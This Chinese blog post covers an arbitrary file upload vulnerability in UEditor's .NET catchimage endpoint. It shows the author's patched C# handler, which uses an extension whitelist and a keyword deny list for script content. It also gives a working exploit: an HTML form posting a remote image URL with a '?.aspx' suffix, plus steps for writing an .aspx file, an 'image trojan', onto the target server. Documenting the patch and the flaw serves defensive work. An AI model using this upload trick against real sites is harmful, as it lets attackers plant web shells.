首页 > 其他分享 >ueditor任意文件上传漏洞+图片马制作

ueditor任意文件上传漏洞+图片马制作

时间:2022-09-07 10:56:07浏览次数:65  
标签:ueditor string content 漏洞 str file tolower 上传 ToLower

ueditor任意文件上传漏洞+图片马制作

 ueditor漏洞代码位置:

 

 

修复漏洞的代码内容:

public override void Process()
    {
        Sources = Request.Form.GetValues("source[]");

        //该位置有被外网恶意提交(将图片格式转换成aspx的)文件,20210908增加尾缀验证
        if (Sources != null)
        {
            foreach (var fileUrlAndWeiZhui in Sources)
            {
                string weiZhui = Path.GetExtension(fileUrlAndWeiZhui).ToLower();
                if (!(weiZhui.Equals(".png")
                    || weiZhui.Equals(".jpg")
                     || weiZhui.Equals(".jpeg")
                    || weiZhui.Equals(".gif")
                    || weiZhui.Equals(".bmp")
                    ))
                {
                    WriteJson(new
                    {
                        state = "参数无效,非法行为"
                    });
                    return;
                }
                //网络文件地址
                string file_url = fileUrlAndWeiZhui;
               //实例化唯一文件标识
                Uri file_uri = new Uri(file_url);
                //返回文件流
                Stream stream = WebRequest.Create(file_uri).GetResponse().GetResponseStream();
                //实例化文件内容
                StreamReader file_content = new StreamReader(stream);
                //读取文件内容
                string file_content_str = file_content.ReadToEnd();
                string file_content_str_tolower = file_content_str.ToLower();
               //20220824增加图片内容识别,防止图片马漏洞,有些恶意图片文件里写了脚本代码,如果有脚本代码,就不让上传。
                string key1 = "Page".ToLower();
                string key2 = "Language".ToLower();
                string key3 = "script".ToLower();
                string key4 = "Jscript".ToLower();
                string key5 = "javascript".ToLower();
                string key6 = "eval".ToLower();
                string key7 = "Request".ToLower();
                string key8 = "Item".ToLower();
                string key9 = "unsafe".ToLower();
                if (file_content_str_tolower.Contains(key1)
                    || file_content_str_tolower.Contains(key2)
                    || file_content_str_tolower.Contains(key3)
                    || file_content_str_tolower.Contains(key4)
                    || file_content_str_tolower.Contains(key5)
                    || file_content_str_tolower.Contains(key6)
                    || file_content_str_tolower.Contains(key7)
                    || file_content_str_tolower.Contains(key8)
                    || file_content_str_tolower.Contains(key9)
                    )
                {
                    WriteJson(new
                    {
                        state = "参数无效,非法行为"
                    });
                    return;
                }
            }
        }

        if (Sources == null || Sources.Length == 0)
        {
            WriteJson(new
            {
                state = "参数错误:没有指定抓取源"
            });
            return;
        }
        Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
        WriteJson(new
        {
            state = "SUCCESS",
            list = Crawlers.Select(x => new
            {
                state = x.State,
                source = x.SourceUrl,
                url = x.ServerUrl
            })
        });
    }

TuPianMaTest202208241440.jpg 这个jpg文件也是可以通过图片马工具上传到网站目录的,所以要加图片内容验证。

 

 

图片马制作

图片马工具制作代码截图:

图片马工具html页面代码:

<form action="http://192.168.13.10:8040/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <input type="submit" value="Submit" />

</form>

图片马工具使用步骤:

双击打开html文件

 

 

Shell addr 填写参数值(这里可以填任意公网上(或者本地能访问)的图片地址),以下就是填写框的填写内容:
http://img-arch.pconline.com.cn/images/upload/upc/tx/photoblog/1309/25/c49/26316176_26316176_1380092693834_mthumb.jpg?.aspx

前面的链接(蓝色)是公网的jpg文件,后面的?.aspx(红色)是将图片格式转换为aspx格式文件上传到被攻击的服务器,如果单纯上传jpg文件,后面红色的部分可以不加。
Submit提交之后,就可以看到有返回服务器的文件是否成功的信息。

 

成功之后,查看网站的相关文件夹就可以看到文件夹生成了aspx文件。

 

 

上面的代码漏洞已经修复了,如果要测试图片马情况,要把(黄色)相关代码注释掉。

(完)

 

搜索

复制

标签:ueditor,string,content,漏洞,str,file,tolower,上传,ToLower
From: https://www.cnblogs.com/jankie1122/p/16664284.html

相关文章

  • Flask 学习-55.文件上传功能开发
    前言文件上传的基本原理实际上很简单,基本上是:一个带有enctype=multipart/form-data的标记,标记中含有一个。应用通过request对象的files字典来访问文件。使......
  • umeditor粘贴word图片且图片文件自动上传功能
    ​ ueditor粘贴不能粘贴word中的图片是一个很头疼的问题,在我们的业务场景中客户要求必须使用ueditor并且支持word的图片粘贴,因为这个需求头疼了半个月,因为前端方面因为安......
  • form表单上传文件及后端获取文件
    写在前面(强调)使用form表单上传文件时必须要干的两件事:1.form表单的method指定为post2.指定enctype="multipart/form-data"form表单上传文件<formaction=""method=......
  • 全网最简单的大文件上传与下载代码实现(React+Go)
    前言前段时间我需要实现大文件上传的需求,在网上查找了很多资料,并且也发现已经有很多优秀的博客讲了大文件上传下载这个功能。我的项目是个比较简单的项目,并没有采用特别......
  • jsp大文件上传解决方案支持分片断点上传
    ​前言:因自己负责的项目(jetty内嵌启动的SpringMvc)中需要实现文件上传,而自己对java文件上传这一块未接触过,且对Http协议较模糊,故这次采用渐进的方式来学习文件上传的原......
  • 前端大文件上传解决方案(500M以上)
    ​需求:项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在20G内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以20G来进行限制。PC端全平台支......
  • vue大文件上传解决方案(500M以上)
    ​4GB以上超大文件上传和断点续传服务器的实现随着视频网站和大数据应用的普及,特别是高清视频和4K视频应用的到来,超大文件上传已经成为了日常的基础应用需求。但是在很......
  • js大文件上传解决方案(500M以上)
    ​一、功能性需求与非功能性需求要求操作便利,一次选择多个文件和文件夹进行上传;支持PC端全平台操作系统,Windows,Linux,Mac支持文件和文件夹的批量下载,断点续传。刷新......
  • NET5配合vue3图片上传
    NET5配合vue3图片上传后端函数///<summary>///上传文件///</summary>///<paramname="files">文件流</param>///<ret......
  • git上传项目完整步骤
    具体步骤gitconfig--globaluser.nameytgitconfig--globaluser.name2214100039@qq.comgitinitgitremoteaddoriginhttps://gitee.com/ytao99/data-structu......